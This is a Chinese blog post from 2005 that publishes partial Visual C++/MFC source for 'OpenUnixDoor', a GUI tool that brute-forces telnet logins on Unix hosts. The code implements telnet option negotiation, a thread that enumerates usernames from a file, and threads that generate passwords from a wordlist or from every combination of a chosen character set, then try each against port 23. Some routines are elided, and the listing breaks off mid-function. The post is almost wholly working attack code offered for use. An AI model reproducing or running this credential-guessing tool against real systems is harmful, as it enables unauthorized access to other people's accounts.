正文

LINUXpass2005-10-18 20:27:00

【评论】 【打印】 【字体：大 中 小】 本文链接：http://blog.pfan.cn/elva6401/6145.html

分享到：

下面给出部分程序的源代码（用… …略去了VC++自动生成的代码）：

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// OpenUnixDoorDlg.h : header file
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor  Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/

#include <Afxmt.h>    //add for Cevent

//通信原语
const unsigned char IAC_IS   = '0';
const unsigned char IAC_SEND  = '1';
const unsigned char IAC_INFO  = '2';
const unsigned char IAC_VAR  = '0';
const unsigned char IAC_VALUE  = '1';
const unsigned char IAC_ESC     = '2';
const unsigned char IAC_USERVAR = '3';
const unsigned char IAC_SE   = 240;
const unsigned char IAC_NOP  = 241;
const unsigned char IAC_DataMark = 242;
const unsigned char IAC_BRK  = 243;
const unsigned char IAC_IP   = 244;
const unsigned char IAC_AO  = 245;
const unsigned char IAC_AYT  = 246;
const unsigned char IAC_EC   = 247;
const unsigned char IAC_EL   = 248;
const unsigned char IAC_GA  = 249;
const unsigned char IAC_SB   = 250;
const unsigned char IAC_WILL   = 251;
const unsigned char IAC_WONT   = 252;
const unsigned char IAC_DO   = 253;
const unsigned char IAC_DONT    = 254;
const unsigned char IAC_IAC   = 255;
//
#define MAX_BUFFER  1024
#define MAX_LINELENGTH 100
#define SETPRATE " \t\n\r"
//
// COpenUnixDoorDlg dialog
class CClientSocket;
class COpenUnixDoorDlg : public CDialog
{
// Construction
public:
 void InitDlg();
///////////////////////////for NVT
 COpenUnixDoorDlg(CWnd* pParent = NULL);  // standard constructor
 BOOL ReceiveData(CClientSocket *pClSt);   //Receive data for server
 BOOL SendData(CString strSend);     //Send data to server
 BOOL ProcessOption();      //Process option.
 int  ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess);
 void ArrangeReply(CString strOption);
 void RespondToOptions();
 int  Find(CString str, char ch);
 void ReConnect();
//////////////////////////for logon
 BOOL Logon();       //logon   unix
 BOOL GetUserInput();
 BOOL GetPassChar(CString strSelect);
 BOOL RepairSocket();
 void CloseSocket();
 void LockView();
/////////////////////////for NVT 
 unsigned char cBuffer[MAX_BUFFER];   //copy data from socket
 CString strRecvData;      //receive's data
 CString strSendData;      // for send
 CString strDisplay;      // for display
 CStringList m_ListOptions;     // for option
 BOOL    bNegotiating;      
 BOOL    bOptionsSent;
 CString m_strResp;
///////////////////////for password and user
 CString strHostName;      //host
 CString strPassDir;      //密码文件路径
 CString strUserDir;      //用户名文件路径
 CString strPassCount;      //密码字符数
 int     iAlreadyPassC;
 CString strPassChar;      
 CString strUserName;
 int     iCheckUser;         //IDC_CHECK_USER
 BOOL    bUserFinished;    //TRUE:FINISHED,FAILED:NO FINISHED;
 BOOL    bPassFinished;    //TRUE:FINISHED,FAILED:NO FINISHED;
 BOOL    bIsStop;           //TRUE:YES;
///////////////////////for password and user

// Dialog Data
 //{{AFX_DATA(COpenUnixDoorDlg)
 enum { IDD = IDD_OPENUNIXDOOR_DIALOG };
 CSpinButtonCtrl m_SpinPass;
 CComboBox  m_ComPass;
 CButton   m_CheckUser;
 int    m_iPassCount;
 //}}AFX_DATA

 //{{AFX_VIRTUAL(COpenUnixDoorDlg)
 protected:
 virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
 //}}AFX_VIRTUAL

// Implementation
protected:
 HICON m_hIcon;
 CClientSocket *pSocket;
 // Generated message map functions
 //{{AFX_MSG(COpenUnixDoorDlg)
 virtual BOOL OnInitDialog();
 afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
 afx_msg void OnPaint();
 afx_msg HCURSOR OnQueryDragIcon();
 afx_msg void OnBtBegin();
 afx_msg void OnBtExit();
 afx_msg void OnBtUserdir();
 afx_msg void OnCheckUser();
 afx_msg void OnBtPassdir();
 afx_msg void OnSelendokComboPass();
 afx_msg void OnBtStop();
 afx_msg void OnBtHelp();
 //}}AFX_MSG
 DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog

class CHelpDlg : public CDialog
{
// Construction
public:
 CHelpDlg(CWnd* pParent = NULL);   // standard constructor

// Dialog Data
 //{{AFX_DATA(CHelpDlg)
 enum { IDD = IDD_DIALOG_HELP };
 CEdit m_Edit_HelpCtr;
 //}}AFX_DATA

 
// Overrides
 // ClassWizard generated virtual function overrides
 //{{AFX_VIRTUAL(CHelpDlg)
 public:
 virtual int DoModal();
 protected:
 virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
 //}}AFX_VIRTUAL

// Implementation
protected:

 // Generated message map functions
 //{{AFX_MSG(CHelpDlg)
 virtual BOOL OnInitDialog();
 afx_msg void OnBtMypro();
 //}}AFX_MSG
 DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}

 

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// OpenUnixDoorDlg.cpp
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor  Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/

#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "OpenUnixDoorDlg.h"
#include "ClientSocket.h"

//this for debug
#define DXPDEBUG 1   //调试设置
#if DXPDEBUG
 FILE *fp=NULL;    //调试输出文件
#endif

//定义同步及临界资源
 CEvent gEventNextPass;   //取下一个密码，为实现同步引进
 CEvent gEventPassOk;   //已取得密码，为实现同步引进
 CEvent gEventNextUser;   //取下一个用户名，为实现同步引进
 CEvent gEventUserOk;   //已取得用户名，为实现同步引进
 CEvent gEventDisConncet;
 CString strCurPass;   //当前密码
 CString strCurUser;   //当前用户名
//定义线程
 CWinThread *pUserThread     = NULL,   //枚举用户名线程
      *pPassWordThread = NULL,  //枚举用户密码线程
      *pLogonThread    = NULL;  //登录线程
 UINT UserThread(COpenUnixDoorDlg *pDlg);
 UINT PassWordThread(COpenUnixDoorDlg *pDlg);
 UINT PassWordThreadF(COpenUnixDoorDlg *pDlg);
 UINT LogonThread(COpenUnixDoorDlg *pDlg);
/////////////////////////////////////////////////////////////////////////////
… …
/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg dialog

COpenUnixDoorDlg::COpenUnixDoorDlg(CWnd* pParent /*=NULL*/)
 : CDialog(COpenUnixDoorDlg::IDD, pParent)
{
 //{{AFX_DATA_INIT(COpenUnixDoorDlg)
 m_iPassCount = 1;
 //}}AFX_DATA_INIT
 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void COpenUnixDoorDlg::DoDataExchange(CDataExchange* pDX)
{
 CDialog::DoDataExchange(pDX);
 //{{AFX_DATA_MAP(COpenUnixDoorDlg)
 DDX_Control(pDX, IDC_SPIN_PASS, m_SpinPass);
 DDX_Control(pDX, IDC_COMBO_PASS, m_ComPass);
 DDX_Control(pDX, IDC_CHECK_USER, m_CheckUser);
 DDX_Text(pDX, IDC_ET_PASSCOUNT, m_iPassCount);
 DDV_MinMaxInt(pDX, m_iPassCount, 1, 12);
 //}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(COpenUnixDoorDlg, CDialog)
… …
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// COpenUnixDoorDlg message handlers

BOOL COpenUnixDoorDlg::OnInitDialog()
{
… …
 InitDlg();
 return TRUE;  // return TRUE  unless you set the focus to a control
}
void COpenUnixDoorDlg::InitDlg()
{
 CString s1;

 GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
 GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);

 s1.LoadString(IDS_PASS_ALLNUMBER);   //所有数字字符；
 m_ComPass.AddString(s1.operator LPCTSTR());//0
 m_ComPass.SetCurSel(0);
 s1.LoadString(IDS_PASS_ZIDINGYI);     //自定义字符集；
 m_ComPass.AddString(s1.operator LPCTSTR());//1
 s1.LoadString(IDS_PASS_ZIDIAN);      //字典；
 m_ComPass.AddString(s1.operator LPCTSTR());//2
 s1.LoadString(IDS_PASS_ALLENLOW);    //所有小写英文字符；
 m_ComPass.AddString(s1.operator LPCTSTR());//3
 s1.LoadString(IDS_PASS_ALLENUP);     //所有大写英文字符;
 m_ComPass.AddString(s1.operator LPCTSTR());//4
 s1.LoadString(IDS_PASS_NUMANDLOW);   //数字和英文小写混合；
 m_ComPass.AddString(s1.operator LPCTSTR());//5
 s1.LoadString(IDS_PASS_NUMANDLOWUP);  //数字和英文大小写混合
 m_ComPass.AddString(s1.operator LPCTSTR());//6
 s1.LoadString(IDS_PASS_ALL);     //所有键盘可输入字符；
 m_ComPass.AddString(s1.operator LPCTSTR());//7

 m_SpinPass.SetBuddy(GetDlgItem(IDC_ET_PASSCOUNT));
 m_SpinPass.SetRange(1,12);
 iAlreadyPassC=0;
 bIsStop=FALSE;
 CTime  t=CTime::GetCurrentTime();
 s1=t.Format("%H:%M:%S");
 SetDlgItemText(IDC_STC_BEGINTIME,s1);
 pSocket=NULL;

#if DXPDEBUG
 SetDlgItemText(IDC_ET_HOSTNAME,"192.168.42.63");
 SetDlgItemText(IDC_ET_USERNAME,"ods");
 SetDlgItemText(IDC_ET_PASSFLDIR,"dos");
 SetDlgItemInt(IDC_ET_PASSCOUNT,3,FALSE);
#endif
}
void COpenUnixDoorDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
 if ((nID & 0xFFF0) == IDM_ABOUTBOX)
 {
  CAboutDlg dlgAbout;
  dlgAbout.DoModal();
 }
 else
 {
  CDialog::OnSysCommand(nID, lParam);
 }
}

void COpenUnixDoorDlg::OnPaint()
{
  … …
}

HCURSOR COpenUnixDoorDlg::OnQueryDragIcon()
{
 return (HCURSOR) m_hIcon;
}

void COpenUnixDoorDlg::OnBtBegin()
{
#if DXPDEBUG
 fp=fopen("dxpdebug.txt","w");
 fprintf(fp,"%s is ip addr.",strHostName.operator LPCTSTR());
#endif

 CString s1,s2;
 if( ! GetUserInput() )
  return;

 //建立用户名线程,枚举用户名线程
 bUserFinished = TRUE ;
 if( iCheckUser ){
  pUserThread = AfxBeginThread((AFX_THREADPROC)UserThread,
       (LPVOID)this, THREAD_PRIORITY_NORMAL);
  if( pUserThread == NULL ){

   s1.LoadString(IDS_THREADERRO);
   s2.LoadString(IDS_MESSAGE_CAPTION);
   MessageBox(s1,s2);
   return ;
  }
  pUserThread->m_bAutoDelete = TRUE;
  bUserFinished = FALSE;
 }

 //建立密码线程,枚举用户密码线程
 bPassFinished=TRUE;
 s1.LoadString(IDS_PASS_ZIDIAN);
 m_ComPass.GetWindowText(s2);
 if( s1 == s2){

  pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThreadF,
        (LPVOID)this, THREAD_PRIORITY_NORMAL);
 }else{

  GetPassChar( s2 );
  pPassWordThread = AfxBeginThread((AFX_THREADPROC)PassWordThread,
        (LPVOID)this, THREAD_PRIORITY_NORMAL);
 }
 if( pPassWordThread == NULL )
 {
  s1.LoadString(IDS_THREADERRO);
  s2.LoadString(IDS_MESSAGE_CAPTION);
  MessageBox(s1,s2);
  return ;
 }
 pPassWordThread->m_bAutoDelete=FALSE;
 bPassFinished=FALSE;


 //建立登录线程
 RepairSocket();
 LockView();

 //界面控制线程

}

BOOL COpenUnixDoorDlg::ReceiveData(CClientSocket *pClSt)
{

 int iRecv,iProc;
 iProc = 0;
 iRecv = pClSt->Receive(cBuffer,MAX_BUFFER);
 if(SOCKET_ERROR != iRecv)
 {
  ProcessLine(cBuffer,iRecv,iProc);   //处理接收的数据
  ProcessOption();      //处理接收数据中的协议数据
  Logon();       //完成尝试登录
 }
 strRecvData.Empty();
 strDisplay.Empty();
 return 1;
}

BOOL COpenUnixDoorDlg::SendData(CString strSend)
{
 //向服务器发送数据
 pSocket->Send(strSend,strSend.GetLength());
 return 1;
}

BOOL COpenUnixDoorDlg::ProcessOption()
{
 //处理协议数据

 CString m_strTemp;
 CString m_strOption;
 unsigned char ch;
 int ndx;
 int ldx;
 BOOL bScanDone = FALSE;

 m_strTemp = strRecvData;

 while( !m_strTemp.IsEmpty() && bScanDone != TRUE)
 {
  ndx = m_strTemp.Find(IAC_IAC);
  if(ndx != -1)
  {
   strDisplay += m_strTemp.Left( ndx );
   ch = m_strTemp.GetAt( ndx + 1 );
//////////////////////////////////////////////
#if DXPDEBUG
  switch(ch)
  {
   case IAC_NOP:
    fprintf(fp, "got a DataMark\r\n");
    break;
   case IAC_DataMark:
    fprintf(fp, "got a DataMark\r\n");
    break;
   case IAC_BRK:
    fprintf(fp, "got a BRK\r\n");
    break;
   case IAC_IP:
    fprintf(fp, "got a IP\r\n");
    break;
   case IAC_AO:
    fprintf(fp, "got a AO\r\n");
    break;
   case IAC_AYT:
    fprintf(fp, "got a AYT\r\n");
    break;
   case IAC_EC:
    fprintf(fp, "got a EC\r\n");
    break;
   case IAC_EL:
    fprintf(fp, "got a EL\r\n");
    break;
   case IAC_GA:
    fprintf(fp, "got a GA\r\n");
    break;
   case IAC_SB:
    fprintf(fp, "got a IAC_SB\r\n");
    break;
   case IAC_IAC:
    fprintf(fp, "got a IAC\r\n");
    break;
   default:
    fprintf(fp, "%s got unknown command (%d)\r\n",strDisplay.operator LPCTSTR ());
  }
#endif
//////////////////////////////////////////////////////////////////
      switch(ch)
   {
   case IAC_DO:
   case IAC_DONT:
   case IAC_WILL:
   case IAC_WONT:
    m_strOption  = m_strTemp.Mid(ndx, 3);
#if DXPDEBUG
  fprintf(fp, "WONT:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
    m_strTemp  = m_strTemp.Mid(ndx + 3);
    strDisplay= m_strTemp.Left(ndx);
    m_ListOptions.AddTail(m_strOption);
    break;
   case IAC_IAC:
    strDisplay = m_strTemp.Left(ndx);
    m_strTemp  = m_strTemp.Mid(ndx + 1);
#if DXPDEBUG
 fprintf(fp, "IAC: Option\r\n",m_strTemp.operator LPCTSTR ());
#endif
    break;
   case IAC_SB:
    strDisplay = m_strTemp.Left(ndx);
    ldx = Find(m_strTemp, IAC_SE);
    m_strOption  = m_strTemp.Mid(ndx, ldx);
#if DXPDEBUG
 fprintf(fp, "SB:%s\r\n",m_strOption.operator LPCTSTR ());
#endif
    m_ListOptions.AddTail(m_strOption);
    m_strTemp  = m_strTemp.Mid(ldx);
   // AfxMessageBox(m_strOption,MB_OK);
    break;
   default:
    bScanDone = TRUE;
   }
  }
  else
  {
   strDisplay = m_strTemp;
#if DXPDEBUG
  fprintf(fp, "normaltext:%s\r\n",m_strTemp.operator LPCTSTR ());
#endif
  // AfxMessageBox(m_strNormalText,MB_OK);
   bScanDone = TRUE;
  }
 }
 
 RespondToOptions();

 return 1;
}

int COpenUnixDoorDlg::ProcessLine(unsigned char *cBuffer,int iRecv,int& iProcess)
{
 BOOL bLine = FALSE;
 unsigned char ch;
 
 while ( bLine == FALSE  &&  iProcess < iRecv )
 {
   ch= cBuffer[iProcess];
  //Window
  switch( ch )
  {
  case '\r': // ignore
   strRecvData += "\r\n"; //"CR";
   break;
  case '\n': // end-of-line
   break;
  default:   // other....
   strRecvData += ch;
   break;
  }

  iProcess ++;

  if (iProcess == iRecv)
  {
   bLine = TRUE;
  }
 }
 return bLine;
}


void COpenUnixDoorDlg::RespondToOptions()
{
 CString strOption;
 
 while(!m_ListOptions.IsEmpty())
 {
  strOption = m_ListOptions.RemoveHead();

  ArrangeReply(strOption);
 }

 SendData(strSendData);
 m_strResp.Empty();
}

void COpenUnixDoorDlg::ArrangeReply(CString strOption)
{

 unsigned char Verb;
 unsigned char Option;
 unsigned char Modifier;
 unsigned char ch;
 BOOL bDefined = FALSE;

 if(strOption.GetLength() < 3) return;

 Verb = strOption.GetAt(1);
 Option = strOption.GetAt(2);

 switch(Option)
 {
 case 1: // Echo
 case 3: // Suppress Go-Ahead
  bDefined = TRUE;
  break;
 }

 m_strResp += IAC_IAC;

 if(bDefined == TRUE)
 {
  switch(Verb)
  {
  case IAC_DO:
   ch = IAC_WILL;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_DONT:
   ch = IAC_WONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_WILL:
   ch = IAC_DO;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_WONT:
   ch = IAC_DONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_SB:
   Modifier = strOption.GetAt(3);
   if(Modifier == IAC_SEND)
   {
    ch = IAC_SB;
    m_strResp += ch;
    m_strResp += Option;
    m_strResp += IAC_IS;
    m_strResp += IAC_IAC;
    m_strResp += IAC_SE;
   }
#if DXPDEBUG
 fprintf(fp, "SB: ch:%d Option:%d \r\n",ch,Option);
#endif
   break;
  }
 }

 else
 {
  switch(Verb)
  {
  case IAC_DO:
   ch = IAC_WONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "DO: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_DONT:
   ch = IAC_WONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "DONT: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_WILL:
   ch = IAC_DONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "WILL: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  case IAC_WONT:
   ch = IAC_DONT;
   m_strResp += ch;
   m_strResp += Option;
#if DXPDEBUG
 fprintf(fp, "WONT: ch:%d Option:%d\r\n",ch,Option);
#endif
   break;
  }
 }
}

int COpenUnixDoorDlg::Find(CString str, char ch)
{
 char* data = str.GetBuffer(0);
 int len = str.GetLength();
 int i = 0;
 for(i = 0; i < len; i++){
  if(data[i] == ch)
   break;
 }
 str.ReleaseBuffer();
 return i;
}


void COpenUnixDoorDlg::OnBtExit()
{
#if DXPDEBUG
 if(fp!=NULL)fclose(fp);
#endif 
 //删除所有线程
  … …
 if(pSocket != NULL)
  delete pSocket;
 pSocket = NULL;

 CDialog::OnOK();
}

UINT UserThread(COpenUnixDoorDlg *pDlg)
{
  FILE *fUser;
  char cUser[MAX_LINELENGTH];
  char *token;
  CString s1,s2;
  CString strDir = pDlg->strUserDir;

  strDir.Replace("\\","\\\\");
  //strDir保存用户名的路径及文件名
 
  if( NULL  ==  (fUser  =  fopen(strDir.operator LPCTSTR(),"r+")))
  {
   s1.LoadString(IDS_OPENFILEERRO);
   s2.LoadString(IDS_MESSAGE_CAPTION);
   strDir.Format(s1,strDir.operator LPCTSTR());

   MessageBox(GetActiveWindow(),strDir,s2,0);
   if(fUser != NULL)
    fclose(fUser);
   pDlg->bUserFinished = TRUE;
   return 0;
  } 

  while( ! feof(  fUser  ) )
  {
   if( NULL  ==  fgets( cUser,MAX_LINELENGTH,fUser )) 
   {
    fclose(  fUser  );
    pDlg->bUserFinished  =  TRUE;
    return 0;
   }
   token = strtok( cUser,SETPRATE );// #define SETPRATE " \t\n\r"
  
   do
   {
    WaitForSingleObject(gEventNextUser,INFINITE);
           // 等待“新用户名”事件
    gEventNextUser.ResetEvent();     //复位。
    strCurUser = token;       //改变当前用户名。
    gEventUserOk.SetEvent();          //发送“用户名完成”事件
   }while((token = strtok(NULL,SETPRATE))  !=  NULL);
  }//while end

  pDlg->bUserFinished = TRUE;
  gEventUserOk.SetEvent();
  return 0;
}


UINT PassWordThread(COpenUnixDoorDlg *pDlg)
{
/*
**
**
** strPass-> | a | b | c | d |
**       \/    |  
**       /\   | 
**  iPPos   | 1 | 0 | 2 |
**
**  例如：str="abcd",iCount=3,当iPPos=102 时表示字串"bac"
**
*/
 int j;
 int iCount=pDlg->m_iPassCount;
 int k=iCount-1;

 CString strPass=pDlg->strPassChar;
 int iPCount=strPass.GetLength() ;

 CString strTemp;
 int iPPos[MAX_LINELENGTH];
 for(j = 0;( j<MAX_LINELENGTH ); j++ )
  iPPos[j] = 0;
 
 do{
  while( iPPos[0] < iPCount )
  {
   while( iPPos[k] < iPCount ){
    strTemp.Empty();
    for(j = 0;j < iCount; j++ ){
     strTemp.Insert(j,strPass.GetAt(iPPos[j]));
    }
    WaitForSingleObject(gEventNextPass,INFINITE);
       // 等待“新密码”事件
    gEventNextPass.ResetEvent();  //复位。
    strCurPass=strTemp;    //改变当前密码。
    gEventPassOk.SetEvent();   //送密码完成事件
#if DXPDEBUG
   fprintf(fp, "%s\r\n",strCurPass.operator LPCTSTR ());
#endif  
    iPPos[k]++;
   }
  
   iPPos[k] = 0; //末位清零
   for(j = iCount-2;j >= 0;j--)
   {
    if(( iPPos[j]+=1 )==iPCount && j != 0 )
     iPPos[j] = 0;
    else break;
    //完成iCount进制加法运算
   }
  }//while
  if(!pDlg->bUserFinished){
   gEventNextUser.SetEvent();      //发送“新用户名”事件
   WaitForSingleObject(gEventUserOk,INFINITE);  //等待“用户名完成”事件
   gEventUserOk.ResetEvent();      //复位。
  }
 }while(!pDlg->bUserFinished);
 
 pDlg->bPassFinished=TRUE;
 gEventPassOk.SetEvent();
 return 0;
}

UINT PassWordThreadF(COpenUnixDoorDlg *pDlg)
{
  FILE *fPass;
  char cPass[MAX_LINELENGTH];
  char *token;
  CString s1,s2;
  CString strFile=pDlg->strPassDir;

  strFile.Replace("\\","\\\\");
  //strFile保存密码文件的路径及文件名

  if(NULL == ( fPass = fopen(strFile.operator LPCTSTR(),"r+")) )
  {
   s1.LoadString(IDS_OPENFILEERRO);
   s2.LoadString(IDS_MESSAGE_CAPTION);
   strFile.Format(s1,strFile.operator LPCTSTR());

   MessageBox(GetActiveWindow(),strFile,s2,0);
   
   if( fPass != NULL )
    fclose( fPass );
   pDlg->bPassFinished=TRUE;
   return 0;
  } 
 do{
  while(!feof(fPass))
  {
   if(NULL==fgets(cPass,MAX_LINELENGTH,fPass)) 
   {
    fclose(fPass);
    break;
   }
   token=strtok(cPass,SETPRATE);// #define SETPRATE " \t\n\r"
  
   do
   {
    WaitForSingleObject(gEventNextPass,INFINITE);
            // 等待“新用户密码”事件
    gEventNextPass.ResetEvent();   //复位。
    strCurPass=token;     //改变当前用户密码。
    gEventPassOk.SetEvent();    //发送“用户密码完成”事件
   }while((token=strtok(NULL,SETPRATE))!=NULL);
  }//while
  if(!pDlg->bUserFinished){
   gEventNextUser.SetEvent();       //发送“新用户名”事件
   WaitForSingleObject(gEventUserOk,INFINITE);  //等待“用户名完成”事件
   gEventUserOk.ResetEvent();       //复位。
  }
 }while(!pDlg->bUserFinished);

 pDlg->bPassFinished=TRUE;
 gEventPassOk.SetEvent();
 return 0;
}

UINT LogonThread(COpenUnixDoorDlg *pDlg)
{
 pDlg->ReConnect();
 return 0;
}

void COpenUnixDoorDlg::ReConnect()
{

 BOOL bOK;
 if(pSocket != NULL)delete pSocket;
 pSocket=new CClientSocket(this) ;
 
 if( pSocket != NULL){
  bOK=pSocket->Create();
  if(bOK == TRUE){
   bOK = pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);
   bOK = pSocket->Connect(strHostName,23); 
  }else{
   delete pSocket;
  }
 }else{
  AfxMessageBox("Could not create new socket",MB_OK);
 }

}

BOOL COpenUnixDoorDlg::GetUserInput()
{
 CString s1;
 CString s2;
 s2.LoadString(IDS_MESSAGE_CAPTION);

 //check hostname
 GetDlgItemText(IDC_ET_HOSTNAME,strHostName);
 if(strHostName.IsEmpty()){
  s1.LoadString(IDS_MESSAGE1);
  MessageBox(s1,s2);
  return FALSE;
 }

 //check user name or user dir
 if(m_CheckUser.GetCheck()){
  GetDlgItemText(IDC_ET_USERDIR,strUserDir);
  if(strUserDir.IsEmpty()){
   s1.LoadString(IDS_MESSAGE2);
   MessageBox(s1,s2);
   return FALSE;
  }
 }else{
  GetDlgItemText(IDC_ET_USERNAME,strCurUser);
  if(strCurUser.IsEmpty()){
   s1.LoadString(IDS_MESSAGE2);
   MessageBox(s1,s2);
   return FALSE;
  }
 }
 iCheckUser=m_CheckUser.GetCheck();

 //
 m_iPassCount = GetDlgItemInt(IDC_ET_PASSCOUNT);

 //check password
  GetDlgItemText(IDC_ET_PASSFLDIR,strPassDir);
 return TRUE;
}

void COpenUnixDoorDlg::OnBtUserdir()
{
 CFileDialog  m_dlg(IDS_INPUTDIR);

 if( m_dlg.DoModal() ){

  CString str = m_dlg.GetPathName();
  SetDlgItemText(IDC_ET_USERDIR,str.operator LPCTSTR());

 }
}

void COpenUnixDoorDlg::OnCheckUser()
{ 
 if(m_CheckUser.GetCheck())
 {

  GetDlgItem(IDC_ET_USERDIR)->EnableWindow(TRUE);
  GetDlgItem(IDC_BT_USERDIR)->EnableWindow(TRUE);
  GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
 
 }else{

  GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
  GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
  GetDlgItem(IDC_ET_USERNAME)->EnableWindow(TRUE);
 
 }
}

void COpenUnixDoorDlg::OnBtPassdir()
{
 CFileDialog  m_dlg(IDS_INPUTDIR);

 if( m_dlg.DoModal() ){

  CString str=m_dlg.GetPathName();
  SetDlgItemText(IDC_ET_PASSFLDIR,str.operator LPCTSTR());
 
 }
}

void COpenUnixDoorDlg::OnSelendokComboPass()
{
 CString s1,s2,s3;
 s1.LoadString(IDS_PASS_ZIDIAN);
 s2.LoadString(IDS_PASS_ZIDINGYI);
 
 m_ComPass.GetWindowText(s3);

 if(s1==s3 || s2==s3){

  GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(TRUE);
  if(s2 == s3){
   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
  }else{
   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(TRUE);
  }

 }else{

  GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
  GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
 
 }
}

BOOL COpenUnixDoorDlg::GetPassChar(CString strSelect)
{
 CString s1;

 s1.LoadString(IDS_PASS_ZIDINGYI);
 if(strSelect == s1){
  GetDlgItemText(IDC_ET_PASSFLDIR,strPassChar) ;return TRUE;
 }

 s1.LoadString(IDS_PASS_ALLNUMBER);
 if(strSelect==s1){
  strPassChar="0123456789";return TRUE;
 }

 s1.LoadString(IDS_PASS_ALLENLOW);
 if(strSelect==s1){
  strPassChar="abcdefghigklmnopqrstuvwxyz"; return TRUE;
 }

 s1.LoadString(IDS_PASS_ALLENUP);
 if(strSelect==s1){
  strPassChar="ABCDEFGHIGKLMNOPQRSTUVWXYZ"; return TRUE;
 }

 s1.LoadString(IDS_PASS_NUMANDLOW);
 if(strSelect == s1){
  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyz"; return TRUE;
 }

 s1.LoadString(IDS_PASS_NUMANDLOWUP);
 if(strSelect == s1){
  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
  return TRUE;
 }

 s1.LoadString(IDS_PASS_ALL);
 if(strSelect == s1){
  strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ`~!@#$%^&*()-=\\_+|[]{};':\",./<>?";
  return TRUE;
 }
 return FALSE;
}

BOOL COpenUnixDoorDlg::RepairSocket()
{
 BOOL bOK;

 pSocket = new CClientSocket(this) ;
 if(pSocket != NULL){
  bOK = pSocket->Create();
  if(bOK == TRUE){
   pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);
   pSocket->Connect(strHostName,23); 
  }else{
   delete pSocket;
  }
 }else{
  AfxMessageBox("Could not create new socket",MB_OK);
 }
 return TRUE;
}

void COpenUnixDoorDlg::CloseSocket()
{
 //gEventDisConncet.SetEvent();
 CString strTemp;
 strTemp.LoadString(IDS_YOUAREFAILED);
 AfxMessageBox(strTemp);

}

void COpenUnixDoorDlg::OnBtStop()
{
 static int i=0;
 CString str;

 if(i == 0)
 {
  //MUST STOP SOKET
  bIsStop=TRUE;
  pSocket->OnClose(0);

  if(pUserThread != NULL)
   pUserThread->SuspendThread();      //枚举用户名线程
  if(pPassWordThread != NULL)
   pPassWordThread->SuspendThread();     //枚举用户密码线程
  //if(pLogonThread!=NULL)pLogonThread->SuspendThread();   //登录线程 
  str.LoadString(IDS_REBEGIN);
  SetDlgItemText(IDC_BT_STOP,str);
  i=1;
 }else{
  bIsStop = FALSE;
  gEventDisConncet.SetEvent();

  if(pUserThread != NULL)
   pUserThread->ResumeThread();  
  if(pPassWordThread != NULL)
   pPassWordThread->ResumeThread(); 
  //if(pLogonThread!=NULL)pLogonThread->ResumeThread();
  str.LoadString(IDS_STOP);
  SetDlgItemText(IDC_BT_STOP,str);
  i = 0;
 }
}

void CAboutDlg::OnOK()
{
 CDialog::OnOK();
}

void COpenUnixDoorDlg::OnBtHelp()
{
 CHelpDlg  dlg;
 dlg.DoModal();
}

void COpenUnixDoorDlg::LockView()
{
